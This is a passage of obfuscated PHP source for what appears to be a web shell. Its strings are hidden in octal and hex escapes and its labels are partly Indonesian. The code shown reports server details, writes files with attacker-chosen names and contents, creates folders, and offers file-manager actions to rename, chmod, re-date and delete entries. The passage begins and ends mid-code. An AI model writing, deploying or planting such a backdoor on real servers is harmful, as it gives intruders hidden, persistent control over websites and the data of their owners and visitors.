\162\x3e\74\x2f\164\150\x65\141\x64\x3e\74\164\144\x3e\xa\x20\x20\40\40\x3c\160\76\74\151\x20\x63\154\x61\163\163\75\42\146\x61\x2d\163\157\x6c\151\144\x20\x66\141\x2d\x6e\x65\x74\167\x6f\162\153\x2d\x77\151\x72\x65\144\x22\x20\x61\x72\151\141\55\x68\151\144\x64\x65\x6e\75\42\x74\x72\165\x65\x22\76\x3c\x2f\x69\76\x20\151\x70\x20\x3a\x20\74\146\157\x6e\164\40\x63\x6f\x6c\157\x72\x3d\x22\x23\60\104\71\67\x41\x35\42\76" . ipserv() . "\x3c\57\146\x6f\156\x74\x3e\x3c\57\160\76\12\x20\x20\40\x20\74\x70\76\x3c\x69\x20\x63\x6c\141\x73\163\75\42\x66\141\x2d\x73\157\x6c\x69\x64\40\x66\x61\x2d\x63\x6f\155\x70\165\164\145\x72\x22\40\141\162\x69\141\55\x68\x69\x64\x64\x65\x6e\x3d\42\x74\162\x75\145\42\76\74\x2f\151\x3e\40\x53\x79\163" . "\x74\145\155\x20\72\40\x3c\146\157\156\164\40\143\x6f\x6c\157\x72\75\42\43\60\104\71\x37\101\x35\x22\76" . $pname() . "\74\x2f\x66\x6f\156\164\x3e\x3c\57\x70\76\xa\x20\40\x20\x20\x3c\x70\x3e\x3c\x69\40\143\x6c\141\163\x73\75\x22\146\x61\x2d\163\157\x6c\x69\x64\x20\146\141\55\x75\x73\145\162\42\40\x61\x72\x69\141\55\150\151\x64\144\145\156\75\42\164\x72\165\145\42\x3e\x3c\x2f\151\x3e\x20\x55\163\145\162\40\72\x20\74\146\x6f\156\164\40\143\157\x6c\x6f\162\x3d\42\x23\60\104\71\x37\101\65\42\76" . @$gser() . "\74\x2f\x66\157\156\164\76\x3c\x2f\x70\x3e\12\40\x20\x20\x20\x3c\160\x3e\x3c\151\40\x63\154\x61\x73\x73\75\42\146\141\x2d\x62\162\141\x6e\144\x73\40\146\141\x2d\x70\x68\160\x22\x20\x61\162\x69\141\x2d\x68\x69\144\144\145\156\75\x22\164\162\165\145\42\x3e\x3c\x2f\151\x3e\x20\120\x48\x50\40\126\x65\x72" . "\163\151\157\x6e\40\72\x20\x3c\x66\157\x6e\x74\x20\143\157\154\x6f\162\75\x22\x23\x30\104\71\67\x41\65\42\76" . @$pver() . "\x3c\57\x66\157\x6e\x74\76\74\57\x70\x3e\xa\40\x20\40\40\74\x70\76\x3c\151\40\143\x6c\x61\x73\x73\75\42\146\x61\55\x73\157\154\151\144\40\146\x61\55\x73\145\x72\x76\145\x72\42\x20\x61\162\x69\x61\x2d\x68\151\144\144\x65\156\x3d\x22\164\x72\165\x65\x22\x3e\x3c\57\151\76\x20\123\157\146" . "\164\167\x61\x72\x65\40\72\40\x3c\146\157\x6e\164\x20\143\x6f\154\157\162\75\x22\x23\x30\x44\x39\67\101\x35\42\x3e" . $_SERVER["\123\105\122\x56" . "\105\x52\137\x53\117\106" . "\124\127\x41\122\105"] . "\74\57\x66\157\x6e\x74\x3e\x3c\57\160\x3e\xa\40\x20\x20\40\x3c\x2f\164\x64\x3e\74\57\x74\x61\142\154\145\x3e\12\x20\40\40\x20\x3c\163\160\x61\x6e\x20\x63\x6c\141\x73\x73\x3d\x22\143\154\x6f\163\145\40\x62\164\156\x20\x62\x74\156\55\x6f\165\x74\154\151\x6e\145\x2d\x6c\x69\147\150\x74\x22\40\x73\x74\171\154\145\75\42\167\x69\x64\x74\x68\x3a\x32\x30\x30\x70\170\73\x66\x6f\156\164\55\163\151\172\x65\x3a\61\64\x70\170\x3b\x66\x6c\157\x61\164\x3a\162\151\147\x68\x74\x3b\x22\x3e\x63\154\157\163\145\74\x2f\163\160\141\x6e\76\12\x20\x20\x3c\57\x64\151\x76\x3e\12\x3c\x2f\144\x69\x76\76"; if ($_REQUEST['opet'] == net("\143\162\145" . "\x61\x74\145\x66" . "\151\x6c\145")){ function cretf(){ $fpn = "\x66\x6f"."\160\x65\156"; $fwr = "\x66\167\162"."\x69\164\x65"; $pat = PATH; $nama_file = $_POST["\x6e\x61\x6d\x61"."\137\146\x69\154\x65"]; $isi_file = $_POST["\151\x73\x69\137"."\146\x69\x6c\145"]; $handle = $fpn("$pat/$nama_file", 'w'); $filez = $pat."/".$nama_file; $stce = "\x73\x74" . "\x72\137\x72\x65" . "\x70\x6c" . "\x61\143\x65"; $asu = $stce($_SERVER["\x44\117" . "\x43\125\115" . "\105\x4e\124\x5f\x52" . "\x4f\117\x54"], $web. "", $filez); if ($fwr($handle, $isi_file)) { echo "\74\x74\x61\x62\154\x65\x20\143\x6c\x61\x73\x73\x3d\42\x74\141\x62\154\x65\40\164\141\142\154\x65\55\144\141\162\153\40\164\x61\142\154\145\55\x73\155\x22\40\x73\x74\x79\154\145\75\42\167\x69\x64\x74\x68\x3a\63\60\x25\x3b\x62\x6f\170\55\x73\x68\x61\x64\157\x77\x3a\40\60\x20\60\40\x35\160\170\40\43\60\x44\71\67\x41\x35\x3b\42\40\x61\x6c\x69\x67\156\75\42\x63\x65\x6e\x74\x65\162\x22\76\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x3c\x74\x68\145\x61\144\40\x73\x74\171\154\145\75\x22\55\55\x62\163\x2d\x74\x61\x62\154\x65\x2d\142\x67\x3a\x23\60\104\71\67\101\x35\x3b\x2d\x2d\142\x73\x2d\164\x61\x62\x6c\145\55\x63\157\154\157\x72\72\x23\x30\x30\60\73\x22\x3e\12\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x3c\164\162\76\74\x74\150\x3e\74\x66\157\156\x74\40\x63\157\154\x6f\x72\x3d\x22\x6c\x69\155\145\x22\76\123\165\x63\143\145\x73\x73\146\x75\154\154\171\41\x21\74\x2f\x66\157\x6e\x74\76\74\x2f\164\150\x3e\x3c\x2f\164\162\76\x3c\x2f\x74\x68\145\141\x64\76\xa\40\x20\40\40\x20\40\40\40\x20\40\40\40\x3c\164\144\76\103\162\x65\x61\164\x65\x64\40\75\x3e\46\156\x62\x73\x70\73\x3c\x66\157\x6e\164\40\x63\x6f\154\x6f\162\x3d\x22\x6c\151\x6d\145\42\x3e" . $nama_file . "\x3c\142\162\76\74\x2f\146\157\156\164\x3e\x4c\x69\156\153\40\x3a\x20\x3c\141\40\x68\162\x65\146\75\42" . $asu . "\x22\x20\x74\141\x72\x67\145\164\x3d\42\137\142\154\141\156\x6b\42\x3e\x3c\x66\157\156\x74\x20\143\157\x6c\157\162\75\x22\x61\161\x75\141\42\76\x3c\x69\x3e\x43\154\x69\x63\x6b\40\x68\145\x72\145\74\57\151\x3e\74\x2f\x61\x3e\74\x2f\146\x6f\156\164\x3e\74\x2f\x74\144\x3e\74\57\x74\141\x62\154\145\x3e"; } else { echo "\74\164\141\x62\x6c\x65\40\143\x6c\x61\163\163\x3d\42\x74\141\x62\154\x65\x20\x74\141\142\x6c\145\55\144\141\162\x6b\x20\x74\141\142\x6c\145\x2d\163\x6d\x22\40\163\164\171\154\x65\75\x22\x77\x69\144\x74\x68\x3a\63\60\45\73\x62\157\x78\55\x73\x68\x61\144\157\x77\72\40\x30\x20\60\40\65\x70\170\40\43\60\104\x39\67\x41\x35\x3b\x22\40\141\x6c\151\x67\x6e\75\42\143\145\156\164\145\162\42\x3e\xa\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\74\x74\x68\145\141\x64\40\163\x74\x79\x6c\145\x3d\x22\55\x2d\x62\163\55\x74\x61\142\x6c\x65\55\x62\147\x3a\43\60\104\x39\x37\x41\x35\73\x2d\55\x62\x73\x2d\x74\x61\142\x6c\x65\x2d\143\157\154\157\162\x3a\x23\60\60\60\x3b\x22\x3e\12\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\74\x74\x72\x3e\74\x74\150\x3e\x45\x52\x52\x4f\x52\74\57\x74\x68\x3e\x3c\57\164\162\x3e\74\57\x74\x68\x65\x61\x64\76\xa\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\74\x74\x64\x3e\x3c\x66\x6f\x6e\x74\40\143\157\154\157\x72\75\x72\145\144\x3e\74\143\145\156\x74\x65\x72\76\12\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\74\x69\x20\143\154\x61\x73\x73\75\42\x66\141\x20\146\141\55\145\170\143\154\141\155\141\x74\151\x6f\x6e\55\x74\x72\x69\x61\x6e\147\154\x65\42\40\x61\162\x69\x61\55\150\x69\144\x64\145\156\x3d\x22\164\162\x75\145\x22\76\74\x2f\x69\x3e\40\x46\141\x69\154\145\144\40\x74\157\x20\143\x72\145\x61\x74\145\40\x66\x69\x6c\145\x2e\74\57\146\157\x6e\164\x3e\74\x2f\163\143\162\151\x70\164\76\x3c\57\164\x64\76\x3c\x2f\x74\141\x62\x6c\145\76"; } } if(!isset($_POST['bikin'])) { echo "\x3c\x74\141\x62\x6c\145\40\143\154\141\163\x73\x3d\47\164\141\x62\x6c\x65\40\x74\x61\142\x6c\x65\x2d\x64\141\162\x6b\x27\40\163\x74\171\x6c\145\75\x27\167\x69\x64\x74\x68\x3a\65\x30\45\73\x62\x6f\x78\x2d\x73\150\141\x64\157\x77\x3a\x20\60\40\x30\x20\65\160\170\40\x23\60\x44\x39\67\x41\65\73\47\40\141\x6c\151\147\156\x3d\47\x63\x65\x6e\164\145\162\47\76\12\40\40\x20\x20\x20\40\x20\x20\74\x74\150\145\141\x64\40\163\x74\x79\x6c\145\75\47\x2d\55\142\163\55\164\x61\142\x6c\145\x2d\142\147\x3a\x23\60\104\71\x37\x41\65\73\55\x2d\142\163\x2d\x74\141\142\x6c\145\55\x63\157\x6c\157\x72\x3a\43\x30\x30\x30\73\x27\76\12\40\40\x20\x20\40\x20\40\x20\74\x74\x72\76\74\x74\150\x3e\103\162\145" . "\x61\x74\145\40\x46\151" . "\x6c\145\x3c\57\x74\150\x3e\74\x2f\164\162\x3e\x3c\57\164\x68\x65\141\x64\x3e\xa\40\x20\x20\x20\x20\x20\x20\x20\x3c\164\144\x3e\x3c\x66\x6f\x72\155\40\x6d\145\x74\150\x6f\144\75\x27\120\x4f\123\x54\x27\76\xa\x20\x20\x20\40\x20\x20\40\40\74\x69\x6e\x70\165\164\40\x74\171\160\x65\x3d\47\164\145\x78\164\x27\x20\166\141\x6c\x75\145\75\47\x66\x69\154\145\56\160\150\x70\47\x20\x70\154\x61\143\x65\x68\157\x6c\x64\145\162\75\47\x4e\141\155\x61\40\x46\151\154\145\x27\x20\x73\164\x79\x6c\x65\75\47\167\151\x64\164\150\x3a\x20\65\x32\65\160\170\73\47\40\156\x61\x6d\x65\75\47\156\x61\155\x61\137\x66\151\154\145\47\40\143\x6c\141\x73\x73\x3d\47\x66\157\162\x6d\55\143\157\x6e\164\162\157\x6c\x20\x6d\x62\x2d\x33\x27\x20\x61\x75\x74\x6f\x63\x6f\x6d\x70\154\x65\x74\145\x3d\47\157\146\146\x27\76\xa\40\x20\x20\40\40\40\40\x20\74\164\x65\170\x74\x61\x72\145\x61\x20\156\141\x6d\145\75\47\151\x73\151\137\x66\x69\154\x65\47\40\x72\157\x77\163\75\47\x32\60\47\40\143\157\154\163\75\47\x31\63\60\x27\x20\x70\154\x61\x63\x65\150\x6f\154\x64\x65\x72\75\47\x48\145\x6c\x6c\157\x20\127\157\x72\154\144\41\47\x3e\74\57\x74\145\x78\x74\x61\162\x65\141\x3e\x3c\142\x72\x3e\12\x20\x20\x20\40\x20\40\40\40\74\142\x75\164\164\157\156\x20\x74\x79\160\x65\75\x27\163\x75\x6d\x62\x69\x74\x27\40\x63\x6c\141\x73\x73\75\47\142\164\x6e\x20\142\x74\156\55\x6f\x75\164\x6c\151\156\145\x2d\x6c\x69\147\150\164\x27\40\163\164\171\x6c\145\75\x27\x77\151\144\x74\150\72\62\x30\60\x70\x78\x3b\x20\150\x65\151\147\150\164\x3a\x33\66\160\170\x3b\47\40\x68\x65\151\x67\x68\164\72\63\x30\x3b\47\x20\x6e\x61\x6d\145\x3d\47\142\151\x6b\x69\x6e\47\76\x43\122\105\101\124\105\x3c\57\x62\165\x74\x74\x6f\x6e\x3e\46\156\x62\163\x70\x3b\12\40\x20\40\x20\40\x20\x20\40\x3c\141\x20\x68\162\145\146\x3d\x27\77\160\x3d" . $enp(PATH) . "\x27\x20\x63\x6c\x61\163\163\75\x27\142\x74\x6e\x20\142\x74\156\x2d\x6f\165\x74\154\x69\x6e\145\x2d\x6c\151\x67\x68\x74\x27\76\x42\x61\143\153\x3c\57\x61\76\74\x62\162\x3e\12\x20\x20\40\x20\74\57\146\x6f\x72\x6d\76\74\x2f\x74\144\76\74\57\x74\141\142\154\145\x3e"; } else { cretf(); }exit(); } elseif ($_GET['opet'] == net('bua'.'td'.'ir')) { echo "\x3c\x74\141\x62\154\145\x20\x63\x6c\x61\163\x73\75\42\x74\x61\142\x6c\145\40\164\141\x62\154\145\55\x64\x61\162\x6b\x22\x20\163\164\171\154\145\x3d\x22\x77\151\144\x74\x68\72\65\60\x25\73\x62\157\x78\x2d\x73\150\141\144\157\x77\x3a\40\x30\40\x30\x20\x35\x70\170\40\43\x30\104\71\x37\x41\65\x3b\42\40\x61\154\151\x67\156\x3d\x22\143\x65\156\x74\145\x72\x22\x3e\xa\40\40\x20\40\40\40\40\40\40\40\40\40\74\164\150\145\141\144\40\x73\x74\171\x6c\x65\75\42\x2d\x2d\x62\x73\x2d\x74\x61\x62\154\x65\55\142\147\72\43\x30\x44\x39\67\101\x35\x3b\55\55\142\163\x2d\164\x61\x62\x6c\145\55\x63\x6f\x6c\157\x72\72\43\x30\60\60\73\x22\x3e\xa\40\40\40\40\40\x20\40\x20\x20\40\x20\x20\x3c\x74\162\76\x3c\x74\x68\x3e\x43\x72\x65" . "\x61\x74\x65\40\x46\157\154" . "\x64\x65\162\74\57\x74\150\x3e\x3c\57\x74\144\76\74\57\x74\150\145\141\144\x3e\12\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\74\164\x64\x3e\xa\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\x3c\146\x6f\162\x6d\40\141\143\x74\151\157\156\x3d\42\42\x20\x6d\145\164\x68\157\x64\x20\75\40\42\x50\x4f\123\124\42\x3e\x3c\x63\145\x6e\x74\145\162\x3e\12\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x3c\x64\x69\166\40\x73\164\x79\x6c\x65\75\x22\x77\151\144\164\x68\x3a\63\60\60\x70\x78\x3b\42\x3e\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\40\74\151\156\x70\x75\164\x20\x74\x79\x70\145\75\42\x74\x65\170\x74\42\40\x63\x6c\141\x73\x73\75\42\146\157\162\155\x2d\x63\157\x6e\x74\162\157\x6c\x22\x20\160\x6c\x61\143\145\x68\157\154\x64\145\x72\x3d\42\x46\x6f\x6c\x64\145\162\x20\x4e\141\155\145\42\40\x6e\x61\155\145\75\42\141\x64\x64\x22\40\x69\144\75\42\x61\144\144\x22\x2f\76\x3c\x62\162\x3e\74\57\144\x69\166\76\12\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x3c\142\x75\x74\x74\x6f\x6e\x20\164\x79\x70\145\75\42\163\x75\x62\x6d\x69\164\42\40\143\x6c\x61\163\x73\75\42\142\164\156\40\142\164\156\55\157\x75\x74\x6c\x69\x6e\x65\x2d\x6c\151\x67\150\x74\42\x20\x6e\x61\x6d\145\x3d\x22\x62\x75\x61\x74\x22\40\166\x61\154\165\x65\x3d\42\103\162\145\141\164\145\40\x64\151\x72\x65\x63\x74\157\x72\171\42\40\x73\164\x79\x6c\x65\75\x22\167\151\x64\x74\150\72\61\x32\x30\160\x78\x3b\42\x3e\x43\x72\x65\141\164\145\x3c\57\142\x75\x74\x74\157\x6e\76\x26\156\142\163\x70\73\12\40\40\x20\x20\40\x20\40\40\x3c\x61\x20\150\162\145\x66\75\42\77\160\75" . $enp(PATH) . "\x22\40\x63\154\141\163\x73\x3d\42\142\164\x6e\40\x62\164\156\55\x6f\x75\x74\154\151\156\x65\55\x6c\x69\147\150\x74\x22\40\163\x74\x79\x6c\145\x3d\x22\x77\151\x64\164\150\x3a\61\x32\60\160\x78\x3b\x22\x3e\102\x61\143\153\74\57\141\76\x3c\x62\162\x3e\74\142\162\76\74\57\146\x6f\162\155\x3e\74\57\x74\144\x3e\x3c\57\164\x61\142\154\145\76"; if (isset($_POST['buat'])) { $foladd = PATH.'/'.$_POST['add']; $cref = "\155\x6b\144" . "\x69\162"; $flex = "\x66\151\154" . "\x65\x5f\145\170\x69" . "\163\164\x73"; if (!$flex($foladd)) { if ($cref($foladd, 0755, true)) { echo "\74\x74\x61\142\x6c\145\40\143\x6c\141\x73\x73\x3d\x27\x74\x61\x62\154\145\40\164\x61\142\x6c\x65\x2d\144\141\x72\153\47\40\141\154\x69\x67\156\x3d\x27\143\145\156\x74\145\x72\x27\x20\163\164\x79\x6c\145\75\47\x77\x69\x64\x74\150\72\64\60\45\73\142\x6f\x78\55\x73\150\x61\144\157\x77\x3a\x20\x30\x20\x30\x20\65\160\170\x20\x23\60\x44\x39\x37\x41\65\73\47\x3e\xa\x20\40\40\40\40\x20\40\40\74\164\x68\x65\141\144\x20\163\164\x79\154\145\75\47\55\x2d\142\163\55\164\x61\x62\154\145\55\x62\x67\72\43\x30\x44\71\67\x41\65\x3b\55\x2d\x62\163\55\x74\141\142\x6c\x65\x2d\143\157\154\157\162\x3a\x23\x30\60\x30\73\x27\x3e\74\164\x72\x3e\74\164\x68\x3e\74\146\x6f\156\x74\x20\x63\x6f\x6c\157\162\x3d\x27\x6c\151\155\x65\47\76\x53\x75\x63\143\x65\x73\x73\146\x75\x6c\x6c\x79\41\41\x3c\57\x66\x6f\156\x74\x3e\74\57\164\150\76\74\57\164\162\76\x3c\x2f\x74\150\145\141\144\x3e\12\x20\x20\40\x20\x20\x20\x20\40\x3c\x74\144\x3e\106\157\154\144\x65\x72\40\74\146\x6f\x6e\164\x20\x63\157\154\157\162\75\x27\157\x72\141\x6e\147\x65\47\76" . $_POST["\141\x64\x64"] . "\74\57\146\x6f\156\x74\76\x20\x62\x65\162\150\x61\163\x69\x6c\x20\144\x69\x62\x75\141\164\x2e\74\x62\x72\x3e\125\x72\x6c\x20\75\76\x20\12\40\x20\40\x20\40\40\x20\40\x3c\141\40\150\x72\145\x66\x3d\47\x3f\x70\x3d" . $uren($enp(PATH)) . net("\xe0\246\225") . $_POST["\141\x64\x64"] . "\47\x3e\74\151\76\110\145\162\145\x3c\57\x69\x3e\x3c\57\x61\x3e\x3c\x2f\164\144\x3e\74\x2f\164\x61\142\154\x65\x3e"; } else { echo "\x3c\x74\141\x62\154\145\40\x63\154\x61\x73\163\75\47\164\x61\142\154\x65\40\x74\141\142\154\145\55\x64\x61\162\x6b\47\40\141\x6c\x69\x67\156\75\x27\x63\145\156\x74\x65\x72\47\40\x73\x74\171\x6c\145\75\47\x77\151\x64\164\150\72\64\60\x25\73\x62\x6f\x78\x2d\x73\150\x61\144\x6f\167\x3a\40\x30\40\x30\x20\65\160\170\x20\x23\60\104\x39\x37\101\65\73\x27\76\xa\40\x20\40\40\x20\40\40\40\x3c\164\x68\x65\141\x64\40\163\164\171\154\145\x3d\x27\x2d\55\x62\163\55\164\141\x62\154\x65\x2d\x62\x67\72\x23\60\104\71\x37\x41\65\73\x2d\x2d\142\163\x2d\164\x61\142\154\145\x2d\x63\157\154\x6f\x72\72\43\60\60\x30\x3b\47\x3e\74\164\162\76\74\x74\150\76\xa\40\40\x20\x20\40\40\40\x20\74\x66\157\156\164\x20\143\x6f\x6c\157\162\x3d\x27\162\x65\144\x27\76\x46\x41\x49\114\x45\x44\56\74\57\x74\150\x3e\x3c\x2f\x74\x72\x3e\x3c\x2f\x74\150\145\141\144\x3e\12\x20\x20\x20\40\x20\40\40\40\x3c\x74\x64\x3e\x3c\146\x6f\x6e\x74\40\x63\157\154\x6f\x72\75\x27\x72\145\144\47\x3e\x47\141\147\x61\154\40\x6d\145\x6d\x62\x75\x61\164\40\x66\157\154\x64\x65\162\x3c\57\x66\157\156\x74\x3e\x20\74\x66\x6f\x6e\x74\x20\143\157\x6c\157\x72\x3d\x27\157\x72\141\156\x67\145\x27\x3e" . $_POST["\141\x64\x64"] . "\74\x2f\146\x6f\156\x74\76\56\74\57\x74\x64\76\x3c\57\x74\x61\x62\x6c\145\x3e"; } } else { echo "\74\164\141\x62\154\145\40\143\x6c\x61\163\163\75\47\x74\141\142\x6c\x65\40\164\141\142\154\x65\x2d\x64\141\162\153\47\x20\x61\x6c\151\x67\156\75\47\x63\145\x6e\x74\145\162\x27\x20\163\x74\171\154\145\75\47\167\151\144\164\150\72\x34\x30\45\73\x62\x6f\170\x2d\163\x68\141\x64\x6f\x77\x3a\x20\x30\x20\x30\40\x35\x70\170\40\x23\x30\104\x39\67\101\65\x3b\47\76\12\40\40\x20\x20\74\164\150\x65\141\144\40\163\164\x79\154\145\75\47\x2d\55\x62\163\55\x74\141\142\x6c\x65\x2d\142\x67\x3a\43\x30\104\71\67\101\65\x3b\x2d\x2d\x62\x73\55\164\x61\x62\x6c\145\x2d\143\x6f\154\157\162\72\x23\x30\60\x30\x3b\47\76\x3c\164\162\76\74\x74\x68\76\105\x4d\x50\124\x59\x3c\x2f\x74\150\76\74\57\164\x72\76\x3c\57\164\x68\145\x61\144\76\12\40\x20\x20\40\x3c\164\144\76\x46\x6f\154\x64\145\162\40\74\146\157\x6e\x74\40\x63\x6f\154\157\162\x3d\x27\x6f\x72\141\x6e\x67\x65\x27\76" . $_POST["\x61\x64\x64"] . "\x3c\57\x66\157\x6e\164\76\40\163\x75\x64\x61\x68\40\141\144\x61\56\x3c\57\164\144\76\74\57\164\x61\142\154\145\76"; } }exit(); } //fm echo "\x3c\164\x61\x62\x6c\x65\40\143\x6c\141\x73\x73\x3d\42\x74\x61\x62\154\145\40\164\x61\x62\x6c\x65\x2d\x64\x61\x72\x6b\40\164\x61\x62\154\145\x2d\x68\x6f\166\x65\162\x22\40\163\164\x79\x6c\x65\75\42\x62\x6f\x78\55\163\150\x61\x64\x6f\167\72\x20\60\x20\x30\x20\x35\x70\170\40\x23\60\x44\71\x37\x41\65\73\167\151\x64\164\150\72\x39\60\45\x3b\x62\x6f\162\144\x65\162\55\x6c\145\146\x74\72\x31\x70\170\x20\x73\157\154\151\x64\x20\x23\x34\60\102\x45\x43\x43\73\x62\157\162\x64\145\162\55\x72\151\x67\x68\x74\x3a\61\x70\170\40\x73\157\154\x69\x64\x20\x23\64\60\x42\x45\103\103\x3b\x62\157\x72\x64\x65\162\55\x62\x6f\164\164\x6f\x6d\x3a\x31\160\x78\x20\163\157\154\x69\x64\x20\43\64\x30\102\105\x43\103\73\55\55\x62\x73\x2d\x62\157\x72\x64\145\162\x2d\x72\141\x64\x69\x75\x73\72\70\x30\162\145\x6d\73\42\x20\141\154\151\x67\x6e\75\42\x63\x65\156\164\145\x72\x22\x3e\12\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\74\x74\150\145\141\x64\x20\163\164\171\x6c\145\75\42\x2d\55\x62\163\55\x74\x61\142\x6c\145\x2d\x62\147\72\x23\x30\x44\x39\x37\101\x35\x3b\x2d\x2d\x62\163\55\x74\x61\142\x6c\x65\55\143\157\x6c\157\x72\72\43\60\x30\60\73\42\76\xa\40\40\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\74\164\162\x3e\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\74\x74\150\x3e\74\x63\x65\156\164\145\162\76\x4e\x61\155\145\x3c\x2f\x63\145\x6e\164\145\x72\76\74\x2f\x74\x68\x3e\xa\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\x3c\164\x68\76\74\x63\145\x6e\164\x65\x72\76\123\151\172\x65\x3c\57\143\145\156\164\145\x72\76\74\57\164\150\x3e\xa\40\40\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\74\x74\x68\x3e\74\x63\145\x6e\x74\145\x72\76\114\x61\x73\164\x20\x4d\157\144\x69\x66\151\x65\x64\x3c\x2f\x63\x65\156\x74\x65\x72\x3e\74\x2f\164\x68\76\12\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\74\164\x68\x3e\74\x63\145\x6e\x74\x65\x72\76\x50\145\162\155\151\163\x73\151\157\156\x73\74\x2f\x63\x65\156\x74\x65\162\76\74\57\x74\150\x3e\12\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x3c\x74\150\76\x3c\143\145\156\164\x65\162\76\x41\x63\x74\151\x6f\x6e\x73\x3c\x2f\143\x65\x6e\x74\x65\162\x3e\74\57\164\150\x3e\12\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\74\x2f\164\162\x3e\xa\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\74\x2f\164\150\x65\x61\x64\x3e\xa\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\74\x74\x62\x6f\x64\171\x3e"; foreach($folders as $folder){ echo "\40\74\164\162\76\74\x74\x64\76\x3c\x69\x20\x63\154\141\x73\x73\75\x27\146\141\x2d\x73\x6f\154\151\x64\40\x66\x61\x2d\146\x6f\x6c\x64\x65\162\47\x3e\74\x2f\x69\76\40\74\x61\x20\x68\162\145\x66\75\x27\77\x70\x3d" . $uren($enp(PATH . "\57" . $folder)) . "\x27\76" . $folder . "\74\57\141\76\x3c\x2f\164\144\x3e\12\40\x20\x20\40\40\40\40\x20\x3c\x74\144\76\74\143\145\156\164\x65\x72\76\x3c\x62\76\x2d\55\x2d\x3c\x2f\x62\76\74\x2f\164\144\76\x3c\x2f\x63\x65\156\164\145\162\x3e\12\x20\40\40\x20\40\x20\40\x20\74\164\x64\x3e\74\x63\145\156\x74\x65\x72\x3e" . date("\x46\x20\144\x20\131\x20\x48\x3a\x69\72\x73", $flm(PATH . "\x2f" . $folder)) . "\x3c\x2f\x63\145\x6e\x74\x65\x72\76\x3c\x2f\164\x64\x3e\xa\40\x20\x20\x20\40\x20\x20\40\x3c\x74\x64\76\x3c\143\x65\156\164\x65\x72\x3e"; if($isw(PATH."/".$folder)) echo "\74\146\157\156\164\40\143\x6f\154\x6f\162\75\42\x6c\x69\155\x65\42\x3e"; elseif(!$isr(PATH."/".$folder)) echo "\x3c\146\157\x6e\164\40\143\157\x6c\157\x72\x3d\x22\162\145\144\x22\x3e"; echo d7netstat(PATH."/".$folder); if($isw(PATH."/".$folder) || !$isr(PATH."/".$folder)) echo ''; echo "\x3c\x2f\164\144\76\x3c\x2f\143\145\156\x74\145\162\76\12\x20\40\x20\40\x20\x20\40\x20\74\164\144\76\74\143\145\156\164\x65\x72\76\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x3c\163\145\154\145\143\164\x20\x63\x6c\x61\x73\x73\x3d\47\x63\x75\163\164\x6f\155\55\x73\145\154\x65\143\164\x20\143\x75\x73\x74\x6f\155\x2d\163\145\x6c\145\143\x74\55\163\155\47\x20\x6f\156\143\x68\141\x6e\147\x65\x3d\x27\x6c\x6f\x63\141\x74\x69\x6f\156\x20\x3d\x20\164\x68\151\x73\56\x76\x61\x6c\165\145\x3b\x27\76\xa\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\74\x6f\x70\x74\151\157\x6e\x20\x73\145\154\145\143\x74\x65\x64\x3e\x53\145\x6c\x65\x63\x74\74\57\157\x70\x74\x69\x6f\x6e\76\12\40\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\74\x6f\x70\x74\151\x6f\156\x20\166\x61\x6c\x75\x65\x3d\x27\x3f\161\75" . $uren($enp(PATH)) . "\46\x72\75" . $folder . "\47\76\122\145\156\141\x6d\145\x3c\57\157\160\x74\x69\x6f\156\76\xa\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\40\x3c\x6f\160\164\x69\157\x6e\40\x76\x61\154\x75\145\x3d\x27\77\x71\x3d" . $uren($enp(PATH)) . "\46\x63\x68\x64\x65\164\75" . $folder . "\x27\76\103\x68\144\x61\x74\145\74\57\157\160\164\151\x6f\156\76\xa\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x3c\157\x70\x74\x69\x6f\x6e\40\x76\141\154\165\x65\75\47\x3f\161\x3d" . $uren($enp(PATH)) . "\x26\x63\155\157\144\x3d" . $folder . "\47\x3e\x43\150\155\x6f\144\74\x2f\x6f\x70\164\x69\x6f\x6e\x3e\xa\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\74\x6f\160\164\151\x6f\156\40\166\141\154\x75\x65\75\x27\77\x71\75" . $uren($enp(PATH)) . "\46\x64\x3d" . $folder . "\x27\76\x44\145\x6c\145\x74\x65\74\57\x6f\160\164\151\157\x6e\76\xa\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x3c\x2f\163\145\154\x65\x63\x74\76\xa\x20\40\x20\40\x20\40\40\x20\x3c\57\164\144\x3e\74\x2f\x63\x65\x6e\x74\145\x72\x3e\12\x20\40\x20\40\x3c\x2f\x74\x72\76\40\74\x2f\x64\151\166\76"; }foreach($files as $file){ echo "\x3c\x74\162\76\xa\40\x20\40\x20\x20\x20\x20\40\x3c\x74\x64\76" . fileIcon($file) . "\x20\74\141\x20\x68\162\145\146\x3d\47\x3f\x71\x3d" . $uren($enp(PATH)) . "\x26\145\75" . $file . "\x27\76" . $file . "\74\57\x61\x3e\74\x2f\x74\144\x3e\12\x20\40\x20\40\x20\x20\x3c\164\x64\76\x3c\x63\x65\156\164\x65\162\x3e" . 